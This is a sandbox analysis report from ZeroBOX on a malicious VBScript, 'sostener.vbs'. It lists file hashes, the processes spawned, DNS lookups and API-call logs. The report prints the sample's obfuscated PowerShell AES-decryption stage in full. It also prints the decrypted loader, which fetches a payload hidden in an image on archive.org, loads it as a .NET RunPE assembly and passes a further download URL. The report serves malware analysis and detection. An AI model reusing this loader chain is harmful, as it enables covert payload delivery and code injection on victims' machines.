popup
Summary | ZeroBOX
  1. Home
  2. Result
  3. Report
  4. Detail Analysis

sostener.vbs

Generic Malware Antivirus PowerShell
  1. Resubmit sample
Category Machine Started Completed
FILE s1_win7_x6403_us July 10, 2024, 1:36 p.m. July 10, 2024, 1:39 p.m.
Size 150.5KB
Type Little-endian UTF-16 Unicode text, with very long lines, with CRLF, CR line terminators
MD5 af7ba7e4a9c914e8497936eb7b6ae725
SHA256 29baf4677a7faf2847044cfb9739fd440d5bf7038a2d49e991fcdec7207956be
CRC32 CF961000
ssdeep 1536:yZccvQGghdpPZp+ogsUJW4Wrle/PhG+/kery+bGhF6J3Qjsv5HnIgs:QghdpP+og0S7SFv3
Yara None matched

  • wscript.exe "C:\Windows\System32\wscript.exe" C:\Users\test22\AppData\Local\Temp\sostener.vbs

    840

    • powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command (('((e4jfunction Decrypt-AESEncryption {Param([String]TMIBase64Text,[Stringe4j+e4j]TMIKey)TMIe4j+e4jaesManaged = New-Object System.See4j+e4jcurity.Cryptography.AesManaged;TMIa'+'esManagee4j+e4'+'jd.Modee4j+e4j = [Syse4j+'+'e4jtem.Security.Cryptoge4j+e4jraphy.e4j+e'+'4jCie4'+'j+e4jpherMode]::CBC;TMIaesManaged.'+'Pae4j+e4jddin'+'g = [System.Security.Cryptography.PaddingMode]::Zeros;TMIaesManaged.BlockSiz'+'e = 128;TMIaesManaged.KeySize = 256;'+'TMIaesManagee4j+'+'e4jd.Key = ('+'New-Objecte4'+'j+e4j System.Security.Cryptography.SHA256Managed).ComputeHash([Syste'+'m.Text.Encoding]::UTF8.Gee4j+e4jtBytes(TMIKey));TMIcipherBytes = [Syst'+'em.Convert]::FromBase64String(TMIBase64Text);TMIaesManaged.IV '+'= TMIcipherBytes[0..15];TMIdecryptor = TMIaesManaged.CreateDecryptor();TMIdecryptedBytes = TMIdecryptor.TransformFin'+'alBlock(TMIcipherBytes, 16, TMIcipherBytes.Length - 16);e4j+e4jTMIae'+'sManaged.D'+'ispose('+');return [System.Text.Encoding]::UTF8.GetString'+'(TMIdecry'+'ptedBytes).Tre4j+e4jim([char]0);}TMIchave = CnI80168368095155879246343180283860CnIe4j+e4j;TMItextoCriptogr'+'afadoBase4j+e4je64 = '+'CnIG0A1+PrFFIeELomZdViz8ihpJlgfWSG+c8Fn24Yl9hVuxVdEAurMWPyojwYOyeb5UMR2oDYO7mDj/4mQVoDcRIADMQ1J1PJY9WxnIjECC7W9LI8Ol3HTjOpzG4waT56lIqmYk4zL1SBvoe848dm6BtzEqKQqLTN6fMMNKOQsy6SVkJBW1zdvJWXNlxNUH7AptKMypi2N4ui1CpNo9Is/Ppayo7+f+db5c0GzQPZxJIw/3OToEEIMAI5IJSOIGhsVJA4DgZO7nCHnqIBscBMRiN/wglDM6tX6Q46URemN1y1W49YuzsDpjsfyxzQ+zi1I4eB1IETOHTz89D8BlxuQDwVClBv0+GDF59fznQ+YF6okM+C5BLM7qkIfbMFKc4O35deBE51BwEhPDvsmK2YSQir1FqWmjz3acFG6znZLgkf/HIuzamqoNgAIZMeZkT0RAYkvTUz8ZlkOo3MXnJyx5+xJM2zkiMd7oajc1lJOMPl/ux94t3CqSJ4gPzg/TnWyOxZ7404PZ7piPpZHD3egMhNexxTnGS0OPblGvzwwR1cJqSmB8NqH1qiVMb6ZM9uUvWRwa9ChaqcWgS7YCenzvazlGFz18pnnY+NxUA5N33oDEe5RsGMSlntzzIdIjahx4MBp9RqCAgsjd9w3j6p8WdkME0ydEckZWZRTSRQF2N3iyEvHCGec2vUNtxttJgAauSuuMSTUGFzS9NxkWehSSMzdhRforbZwrvjEAtnHqqKf4FTgfXWgXRtnMDJly+CiPXeTZMHxQk2JjMi6Oj18ZqF6a42R6Xhj38hbydvJ/x+52suO/yRpRTLRHRNF8vICiawEBQZ4dt1wNfhVVuvL5NRf6NZ1ClnjfRoRLMD4obqKHFVHUQC4sC5Nuh2ZMLm7nwamr4ZBvmTROLz45tV+1cflORgGrvz66LRqzMoYdb17qGKi1sZfebxHGBQpbifqSh8xBz1xGWWuV4a1PCcQ2DIukdCbTpb2qCvsJDt7Z46dOGEv8na9tYmcl2ku8AIY2gC73T4DojNl4vsUG8T6JxrMWAfXHCngUXiBDPsyW/R0hFAHtBsHYMzlcJ9Lycu1/CiwFS+ogiZL7iRJusUsqFfcL49eQfmrOccCnod07s83tBs1cm8mZxX+xFnMrPw/6tsTt137aHBnYOMs1jZPOvzn1Agv8jseg6ApWoP8e8UPbxJdj3r+8MeT2VkMKer32XVvbumEwPcbODr1COI3yYiAMiPRT+mmYnkKBPtjSynWD6zs6DIcdvUTbsZN7iyksLS0vSlwKXzbWQqOS5dzEhmD4NunfG7hAWTRQvQF8JafWNW/YTa25A1rw0bRhYAA1lcUGdqfJtbq7/md4Gk+/FVjWrbZRHgyzxLo2rkul1p2/Aa1TnMDxt5INkg2AiYq72RE0sOxd4e9FzmvIC/SBl/hqvj2SijxxjWc57usBZ0pZ74PyUGvT04mhWqJajRBXpkHXRPz59/o4IPdsnm3WKtCZPkB1JpKLLGvfv7f9VHie8EbskOc1bmVRCGaoesp3hDo4JpJL5DyJ49vYmkUy6sdO4ngGmWu8U14AwjDKqJlD8lVCJCwwIRQS/t5nrg6l3h0hWT/EYl0jzzOLCdYBDjL5O9yEamn1BSFnvvZ0prNrFvh7SdTJIBl5vLT87bDzCew9Zvvw+7BXhqUntDDsQGIwOMa2IE+WGKzUkPUtLBd7qDCgW7qFrJhGiveqc6JJcV0v+8vS1iNL1aD5Xe5GSfpJGNcvvIz4VEKBPvHmdroV2Hwz16mXQl4YLVImR2awDbst0XBSrmtiSpEUtY4KkGHu7NQGhygAZksH+7tLvMkeYh1xUFdAcErWiA6l+3gCnI;TMItextoDescriptografado = Decrypt-AESEncryption -'+'Base64Text TMItextoCriptografadoBase64 -Key TMIchave;W'+'rite-Host CnITexe4j+e4jto Descre4j+e4jiptografado: TMI'+'textoDescriptograe4j+e4jfadoCnI;Invoke-Expressioe4j+e4jn TMItext'+'oe4j+e4jDescriptografado;e4j)-rEplACe ([CHar]67+[CHar]110+['+'CHar]73),[CHar]34 -cRePLACe e4jTMIe4j,[CHar]36)AQMinvOKe-EXpReSsion') -CREplacE 'e4j',[Char]39 -CREplacE([Char]65+[Char]81+[Char]77),[Char]124)|&( $verbosEPREFerEncE.tosTriNg()[1,3]+'x'-join'')

      2204

Name Response Post-Analysis Lookup
ia803405.us.archive.org
A 207.241.232.195
207.241.232.195
pastecode.dev
A 172.66.40.229
A 172.66.43.27
172.66.43.27
IP Address Status Action
164.124.101.2 Active Moloch
172.66.40.229 Active Moloch
207.241.232.195 Active Moloch

Time & API Arguments Status Return Repeated

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameA

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0
Time & API Arguments Status Return Repeated

IsDebuggerPresent

 0 0
Time & API Arguments Status Return Repeated

WriteConsoleW

 buffer: Method invocation failed because [System.Security.Cryptography.AesManaged] does
console_handle: 0x00000023
1 1 0

WriteConsoleW

 buffer: n't contain a method named 'Dispose'.
console_handle: 0x0000002f
1 1 0

WriteConsoleW

 buffer: At line:1 char:715
console_handle: 0x0000003b
1 1 0

WriteConsoleW

 buffer: + function Decrypt-AESEncryption {Param([String]$Base64Text,[String]$Key)$aesMa
console_handle: 0x00000047
1 1 0

WriteConsoleW

 buffer: naged = New-Object System.Security.Cryptography.AesManaged;$aesManaged.Mode = [
console_handle: 0x00000053
1 1 0

WriteConsoleW

 buffer: System.Security.Cryptography.CipherMode]::CBC;$aesManaged.Padding = [System.Sec
console_handle: 0x0000005f
1 1 0

WriteConsoleW

 buffer: urity.Cryptography.PaddingMode]::Zeros;$aesManaged.BlockSize = 128;$aesManaged.
console_handle: 0x0000006b
1 1 0

WriteConsoleW

 buffer: KeySize = 256;$aesManaged.Key = (New-Object System.Security.Cryptography.SHA256
console_handle: 0x00000077
1 1 0

WriteConsoleW

 buffer: Managed).ComputeHash([System.Text.Encoding]::UTF8.GetBytes($Key));$cipherBytes
console_handle: 0x00000083
1 1 0

WriteConsoleW

 buffer: = [System.Convert]::FromBase64String($Base64Text);$aesManaged.IV = $cipherBytes
console_handle: 0x0000008f
1 1 0

WriteConsoleW

 buffer: [0..15];$decryptor = $aesManaged.CreateDecryptor();$decryptedBytes = $decryptor
console_handle: 0x0000009b
1 1 0

WriteConsoleW

 buffer: .TransformFinalBlock($cipherBytes, 16, $cipherBytes.Length - 16);$aesManaged.Di
console_handle: 0x000000a7
1 1 0

WriteConsoleW

 buffer: spose <<<< ();return [System.Text.Encoding]::UTF8.GetString($decryptedBytes).Tr
console_handle: 0x000000b3
1 1 0

WriteConsoleW

 buffer: im([char]0);}$chave = "80168368095155879246343180283860";$textoCriptografadoBas
console_handle: 0x000000bf
1 1 0

WriteConsoleW

 buffer: e64 = "G0A1+PrFFIeELomZdViz8ihpJlgfWSG+c8Fn24Yl9hVuxVdEAurMWPyojwYOyeb5UMR2oDYO
console_handle: 0x000000cb
1 1 0

WriteConsoleW

 buffer: 7mDj/4mQVoDcRIADMQ1J1PJY9WxnIjECC7W9LI8Ol3HTjOpzG4waT56lIqmYk4zL1SBvoe848dm6Btz
console_handle: 0x000000d7
1 1 0

WriteConsoleW

 buffer: EqKQqLTN6fMMNKOQsy6SVkJBW1zdvJWXNlxNUH7AptKMypi2N4ui1CpNo9Is/Ppayo7+f+db5c0GzQP
console_handle: 0x000000e3
1 1 0

WriteConsoleW

 buffer: ZxJIw/3OToEEIMAI5IJSOIGhsVJA4DgZO7nCHnqIBscBMRiN/wglDM6tX6Q46URemN1y1W49YuzsDpj
console_handle: 0x000000ef
1 1 0

WriteConsoleW

 buffer: sfyxzQ+zi1I4eB1IETOHTz89D8BlxuQDwVClBv0+GDF59fznQ+YF6okM+C5BLM7qkIfbMFKc4O35deB
console_handle: 0x000000fb
1 1 0

WriteConsoleW

 buffer: E51BwEhPDvsmK2YSQir1FqWmjz3acFG6znZLgkf/HIuzamqoNgAIZMeZkT0RAYkvTUz8ZlkOo3MXnJy
console_handle: 0x00000107
1 1 0

WriteConsoleW

 buffer: x5+xJM2zkiMd7oajc1lJOMPl/ux94t3CqSJ4gPzg/TnWyOxZ7404PZ7piPpZHD3egMhNexxTnGS0OPb
console_handle: 0x00000113
1 1 0

WriteConsoleW

 buffer: lGvzwwR1cJqSmB8NqH1qiVMb6ZM9uUvWRwa9ChaqcWgS7YCenzvazlGFz18pnnY+NxUA5N33oDEe5Rs
console_handle: 0x0000011f
1 1 0

WriteConsoleW

 buffer: GMSlntzzIdIjahx4MBp9RqCAgsjd9w3j6p8WdkME0ydEckZWZRTSRQF2N3iyEvHCGec2vUNtxttJgAa
console_handle: 0x0000012b
1 1 0

WriteConsoleW

 buffer: uSuuMSTUGFzS9NxkWehSSMzdhRforbZwrvjEAtnHqqKf4FTgfXWgXRtnMDJly+CiPXeTZMHxQk2JjMi
console_handle: 0x00000137
1 1 0

WriteConsoleW

 buffer: 6Oj18ZqF6a42R6Xhj38hbydvJ/x+52suO/yRpRTLRHRNF8vICiawEBQZ4dt1wNfhVVuvL5NRf6NZ1Cl
console_handle: 0x00000143
1 1 0

WriteConsoleW

 buffer: njfRoRLMD4obqKHFVHUQC4sC5Nuh2ZMLm7nwamr4ZBvmTROLz45tV+1cflORgGrvz66LRqzMoYdb17q
console_handle: 0x0000014f
1 1 0

WriteConsoleW

 buffer: GKi1sZfebxHGBQpbifqSh8xBz1xGWWuV4a1PCcQ2DIukdCbTpb2qCvsJDt7Z46dOGEv8na9tYmcl2ku
console_handle: 0x0000015b
1 1 0

WriteConsoleW

 buffer: 8AIY2gC73T4DojNl4vsUG8T6JxrMWAfXHCngUXiBDPsyW/R0hFAHtBsHYMzlcJ9Lycu1/CiwFS+ogiZ
console_handle: 0x00000167
1 1 0

WriteConsoleW

 buffer: L7iRJusUsqFfcL49eQfmrOccCnod07s83tBs1cm8mZxX+xFnMrPw/6tsTt137aHBnYOMs1jZPOvzn1A
console_handle: 0x00000173
1 1 0

WriteConsoleW

 buffer: gv8jseg6ApWoP8e8UPbxJdj3r+8MeT2VkMKer32XVvbumEwPcbODr1COI3yYiAMiPRT+mmYnkKBPtjS
console_handle: 0x0000017f
1 1 0

WriteConsoleW

 buffer: ynWD6zs6DIcdvUTbsZN7iyksLS0vSlwKXzbWQqOS5dzEhmD4NunfG7hAWTRQvQF8JafWNW/YTa25A1r
console_handle: 0x0000018b
1 1 0

WriteConsoleW

 buffer: w0bRhYAA1lcUGdqfJtbq7/md4Gk+/FVjWrbZRHgyzxLo2rkul1p2/Aa1TnMDxt5INkg2AiYq72RE0sO
console_handle: 0x00000197
1 1 0

WriteConsoleW

 buffer: xd4e9FzmvIC/SBl/hqvj2SijxxjWc57usBZ0pZ74PyUGvT04mhWqJajRBXpkHXRPz59/o4IPdsnm3WK
console_handle: 0x000001a3
1 1 0

WriteConsoleW

 buffer: tCZPkB1JpKLLGvfv7f9VHie8EbskOc1bmVRCGaoesp3hDo4JpJL5DyJ49vYmkUy6sdO4ngGmWu8U14A
console_handle: 0x000001af
1 1 0

WriteConsoleW

 buffer: wjDKqJlD8lVCJCwwIRQS/t5nrg6l3h0hWT/EYl0jzzOLCdYBDjL5O9yEamn1BSFnvvZ0prNrFvh7SdT
console_handle: 0x000001bb
1 1 0

WriteConsoleW

 buffer: JIBl5vLT87bDzCew9Zvvw+7BXhqUntDDsQGIwOMa2IE+WGKzUkPUtLBd7qDCgW7qFrJhGiveqc6JJcV
console_handle: 0x000001c7
1 1 0

WriteConsoleW

 buffer: 0v+8vS1iNL1aD5Xe5GSfpJGNcvvIz4VEKBPvHmdroV2Hwz16mXQl4YLVImR2awDbst0XBSrmtiSpEUt
console_handle: 0x000001d3
1 1 0

WriteConsoleW

 buffer: Y4KkGHu7NQGhygAZksH+7tLvMkeYh1xUFdAcErWiA6l+3g";$textoDescriptografado = Decryp
console_handle: 0x000001df
1 1 0

WriteConsoleW

 buffer: t-AESEncryption -Base64Text $textoCriptografadoBase64 -Key $chave;Write-Host "T
console_handle: 0x000001eb
1 1 0

WriteConsoleW

 buffer: exto Descriptografado: $textoDescriptografado";Invoke-Expression $textoDescript
console_handle: 0x000001f7
1 1 0

WriteConsoleW

 buffer: ografado;
console_handle: 0x00000203
1 1 0

WriteConsoleW

 buffer: + CategoryInfo : InvalidOperation: (Dispose:String) [], RuntimeEx
console_handle: 0x0000020f
1 1 0

WriteConsoleW

 buffer: ception
console_handle: 0x0000021b
1 1 0

WriteConsoleW

 buffer: + FullyQualifiedErrorId : MethodNotFound
console_handle: 0x00000227
1 1 0

WriteConsoleW

 buffer: Texto Descriptografado: function DownloadDataFromLinks { param ([string[]]$links) $webClient = New-Object System.Net.WebClient; $downloadedData = @(); $shuffledLinks = $links | Get-Random -Count $links.Length; foreach ($link in $shuffledLinks) { try { $downloadedData += $webClient.DownloadData($link) } catch { continue } }; return $downloadedData }; $links = @('https://ia803405.us.archive.org/16/items/new_image_202406/new_image.jpg', 'https://ia803405.us.archive.org/16/items/new_image_202406/new_image.jpg'); $imageBytes = DownloadDataFromLinks $links; if ($imageBytes -ne $null) { $imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes); $startFlag = '<<BASE64_START>>'; $endFlag = '<<BASE64_END>>'; $startIndex = $imageText.IndexOf($startFlag); $endIndex = $imageText.IndexOf($endFlag); if ($startIndex -ge 0 -and $endIndex -gt $startIndex) { $startIndex += $startFlag.Length; $base64Length = $endIndex - $startIndex; $base64Command = $imageText.Substring($startIndex, $base64Length); $commandBytes = [System.Convert]::FromBase64String($base64Command); $loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes); $type = $loadedAssembly.GetType('RunPE.Home'); $method = $type.GetMethod('VAI').Invoke($null, [object[]] ('txt.TSOSOINUJ82R/sdaolnwod/doapsmdsk-sabba/wefsfds/gro.tekcubtib//:sptth' , 'desativado' , 'desativado' , 'desativado','AddInProcess32',''))} }
console_handle: 0x00000243
1 1 0
Time & API Arguments Status Return Repeated

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00630200
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00630280
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00630280
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00630280
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00630b00
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00630b00
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00630b00
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00630b00
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00630b00
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00630b00
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00630280
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00630280
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00630280
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x006303c0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x006303c0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x006303c0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00630bc0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x006303c0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x006303c0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x006303c0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x006303c0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x006303c0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x006303c0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x006303c0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00630440
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00630440
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00630440
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00630440
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00630440
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00630440
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00630440
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00630440
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00630440
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00630440
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00630440
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00630440
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00630440
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00630440
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00630780
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00630780
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00630a80
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00630a80
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00630a80
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00630a80
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x006caa40
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x006caa40
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0
Time & API Arguments Status Return Repeated

GlobalMemoryStatusEx

 1 1 0
request GET https://pastecode.dev/raw/6l7qjjrz/paste1.txt
Time & API Arguments Status Return Repeated

NtAllocateVirtualMemory

 process_identifier: 2204
region_size: 393216
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02520000
allocation_type: 8192 (MEM_RESERVE)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2204
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02540000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2204
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x72fd1000
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2204
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x024da000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2204
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 8192
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x72fd2000
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2204
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x024d2000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2204
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02522000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2204
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02541000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2204
region_size: 8192
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02542000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2204
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0258a000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2204
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02523000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2204
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02524000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2204
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0259b000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2204
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02597000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2204
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x024db000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2204
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02582000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2204
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02595000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2204
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02525000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2204
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0258c000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2204
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x027a0000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2204
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02526000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2204
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0259c000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

